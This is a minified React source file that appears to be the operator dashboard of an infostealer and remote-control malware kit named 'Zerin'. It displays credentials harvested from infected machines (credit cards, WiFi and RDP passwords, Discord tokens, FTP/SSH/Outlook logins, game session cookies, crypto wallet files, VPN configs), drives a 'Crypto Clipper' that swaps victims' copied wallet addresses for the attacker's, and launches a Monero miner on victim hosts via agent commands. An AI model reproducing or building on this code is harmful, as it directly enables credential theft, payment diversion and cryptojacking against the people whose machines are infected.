text-zerin-text",children:G.name}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.number,ae),children:G.number}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.exp})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),s.jsx(On,{title:"WiFi Passwords",count:((P=i.wifi)==null?void 0:P.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(I=i.wifi)!=null&&I.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:G.ssid}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.auth}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password||"(none)"})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),s.jsx(On,{title:"Windows Credentials",count:((U=i.windows_credentials)==null?void 0:U.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(D=i.windows_credentials)!=null&&D.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((G,re)=>s.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${G.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[G.is_rdp&&s.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),G.target]}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.username,ae),children:G.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.type})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),s.jsx(On,{title:"Discord Tokens",count:((M=i.discord_tokens)==null?void 0:M.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(F=i.discord_tokens)!=null&&F.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.source}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.type}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:ae=>w(G.token,ae),children:[G.token.slice(0,20),"..."]})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),s.jsx(On,{title:"Applications",count:((R=i.telegram)!=null&&R.found?1:0)+(((W=i.filezilla)==null?void 0:W.length)??0)+((($=i.winscp)==null?void 0:$.length)??0)+(((H=i.putty)==null?void 0:H.length)??0)+(((X=i.outlook)==null?void 0:X.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:s.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?s.jsxs("div",{children:[s.jsxs("p",{className:"text-xs text-zerin-text font-mono mb-1",children:["Found at: ",s.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:G=>w(i.telegram.path,G),children:i.telegram.path})]}),(((se=i.telegram.files)==null?void 0:se.length)??0)>0&&s.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:i.telegram.files.map((G,re)=>s.jsxs("button",{onClick:()=>j(G.data,G.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),G.name]},re))})]}):s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((ue=i.filezilla)==null?void 0:ue.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[G.host,":",G.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})})]}),(((ge=i.winscp)==null?void 0:ge.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.host}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})})]}),(((xe=i.putty)==null?void 0:xe.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text-dim",children:G.session}),s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[G.host,":",G.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.user})]},re))})})]}),(((Y=i.outlook)==null?void 0:Y.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.account}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.server}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})})]}),!((ee=i.telegram)!=null&&ee.found)&&!((C=i.filezilla)!=null&&C.length)&&!((K=i.winscp)!=null&&K.length)&&!((ne=i.putty)!=null&&ne.length)&&!((B=i.outlook)!=null&&B.length)&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),s.jsx(On,{title:"Gaming Sessions",count:((ie=i.steam)!=null&&ie.found?1:0)+((ve=i.epic)!=null&&ve.found?1:0)+(((we=i.minecraft)==null?void 0:we.length)??0)+((_e=i.roblox)!=null&&_e.found?1:0),expanded:d.has("gaming"),onToggle:()=>g("gaming"),children:s.jsxs("div",{className:"space-y-3 p-4",children:[((L=i.steam)==null?void 0:L.found)&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:s.jsx("span",{className:"text-blue-400",children:"Steam"})}),s.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[i.steam.loginusers&&s.jsxs("button",{onClick:()=>j(i.steam.loginusers,"loginusers.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"loginusers.vdf"]}),i.steam.config&&s.jsxs("button",{onClick:()=>j(i.steam.config,"config.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"config.vdf"]}),(de=i.steam.ssfn_files)==null?void 0:de.map((G,re)=>s.jsxs("button",{onClick:()=>j(G.data,G.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),G.name]},re))]})]}),((q=i.epic)==null?void 0:q.found)&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),s.jsxs("button",{onClick:()=>j(i.epic.config,"GameUserSettings.ini"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"GameUserSettings.ini"]})]}),(((te=i.minecraft)==null?void 0:te.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",i.minecraft.length,")"]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:i.minecraft.map((G,re)=>s.jsxs("button",{onClick:()=>j(G.data,`${G.launcher}_accounts.json`),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),G.launcher]},re))})]}),((me=i.roblox)==null?void 0:me.found)&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),i.roblox.cookie?s.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:G=>w(i.roblox.cookie,G),children:[".ROBLOSECURITY: ",i.roblox.cookie.slice(0,40),"..."]}):i.roblox.cookie_file?s.jsxs("button",{onClick:()=>j(i.roblox.cookie_file,"RobloxCookies.dat"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"RobloxCookies.dat"]}):null]}),!((V=i.steam)!=null&&V.found)&&!((Z=i.epic)!=null&&Z.found)&&!((fe=i.minecraft)!=null&&fe.length)&&!((E=i.roblox)!=null&&E.found)&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),s.jsx(On,{title:"Crypto Wallets",count:((oe=i.wallets)==null?void 0:oe.length)??0,expanded:d.has("wallets"),onToggle:()=>g("wallets"),children:(J=i.wallets)!=null&&J.length?s.jsx("div",{className:"space-y-3 p-4",children:i.wallets.map((G,re)=>s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[s.jsx("span",{className:"text-amber-400",children:G.name}),s.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",G.files.length," file",G.files.length!==1?"s":"",")"]})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:G.files.map((ae,Oe)=>s.jsxs("button",{onClick:()=>j(ae.data,ae.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),ae.name]},Oe))})]},re))}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),s.jsx(On,{title:"VPN Configs",count:((pe=i.vpn)==null?void 0:pe.length)??0,expanded:d.has("vpn"),onToggle:()=>g("vpn"),children:(be=i.vpn)!=null&&be.length?s.jsx("div",{className:"space-y-3 p-4",children:i.vpn.map((G,re)=>s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[s.jsx("span",{className:"text-emerald-400",children:G.name}),s.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",G.files.length," file",G.files.length!==1?"s":"",")"]})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:G.files.map((ae,Oe)=>s.jsxs("button",{onClick:()=>j(ae.data,ae.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),ae.name]},Oe))})]},re))}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((ke=i.errors)==null?void 0:ke.length)??0)>0&&s.jsx(On,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:s.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((G,re)=>s.jsxs("div",{className:"text-xs",children:[s.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[G.source,":"]})," ",s.jsx("span",{className:"text-zerin-danger",children:G.error})]},re))})})]}),v&&s.jsx("div",{className:`fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent\r + pointer-events-none animate-fade-in`,style:{left:v.x,top:v.y,transform:"translate(-50%, -100%)"},children:v.text}),!i&&!o&&!c&&s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",s.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function On({title:e,count:t,expanded:n,onToggle:r,children:i}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r + hover:bg-zerin-panel-hover transition-colors`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),s.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&s.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const HU=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],KU={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function N2(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function qU({agentId:e,agentStatus:t}){const[n,r]=p.useState({...KU}),[i,a]=p.useState(!1),[o,l]=p.useState(!1),[c,u]=p.useState(null),[d,f]=p.useState({}),m=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(k=>({...k,[b]:w}));const j=N2(b,w);f(k=>{const S={...k};return j?S[b]=j:delete S[b],S})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=p.useCallback(async()=>{if(m)return;const b={};for(const[w,j]of Object.entries(n))if(j){const k=N2(w,j);k&&(b[w]=k)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,k]of Object.entries(n))k&&(w[j]=k);await Ee(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,m]),v=p.useCallback(async()=>{if(!m){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Ee(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Ee(e,{command:i?"clipper_stop":"clipper_start"}),a(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,m]);return s.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&s.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg + ${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),s.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),s.jsxs("button",{onClick:v,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors + disabled:opacity-30 disabled:cursor-not-allowed + ${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),s.jsx("button",{onClick:y,disabled:o||m||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),s.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:HU.map(({key:b,label:w,placeholder:j,color:k})=>s.jsxs("div",{className:"space-y-1",children:[s.jsx("label",{className:`text-xs font-semibold ${k}`,children:w}),s.jsx("input",{type:"text",value:n[b],onChange:S=>x(b,S.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text + placeholder-zerin-text-muted + focus:outline-none focus:ring-1 transition-all + ${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&s.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),s.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[s.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),s.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),s.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),s.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),s.jsx("li",{children:"Config can be updated while running"})]})]})]})}const S2=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function YU({agentId:e,agentStatus:t}){const[n,r]=p.useState(S2[0]),[i,a]=p.useState(""),[o,l]=p.useState(""),[c,u]=p.useState(50),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),y=p.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(z,_)=>{h({text:z,type:_}),setTimeout(()=>h(null),5e3)};p.useEffect(()=>{if(!e)return;const z=async()=>{try{const _=await Un(e),A=(_.tasks??[]).filter(O=>O.command==="miner_status").sort((O,P)=>new Date(P.created_at).getTime()-new Date(O.created_at).getTime());if(A.length>0){const O=A[0],P=(_.results??[]).find(I=>I.task_id===O.id);if(P!=null&&P.output)try{const I=JSON.parse(P.output);g(I)}catch{}}}catch{}};return z(),y.current=setInterval(z,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Ee(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Ee(e,{command:"miner_status"})}catch{}},3e3)}catch(z){w(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0);try{await Ee(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}},S=async()=>{try{await Ee(e,{command:"miner_status"}),w("Status request sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to query status","err")}},N=z=>{const _=Math.floor(z/3600),A=Math.floor(z%3600/60),O=Math.floor(z%60);return _>0?`${_}h ${A}m ${O}s`:A>0?`${A}m ${O}s`:`${O}s`};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 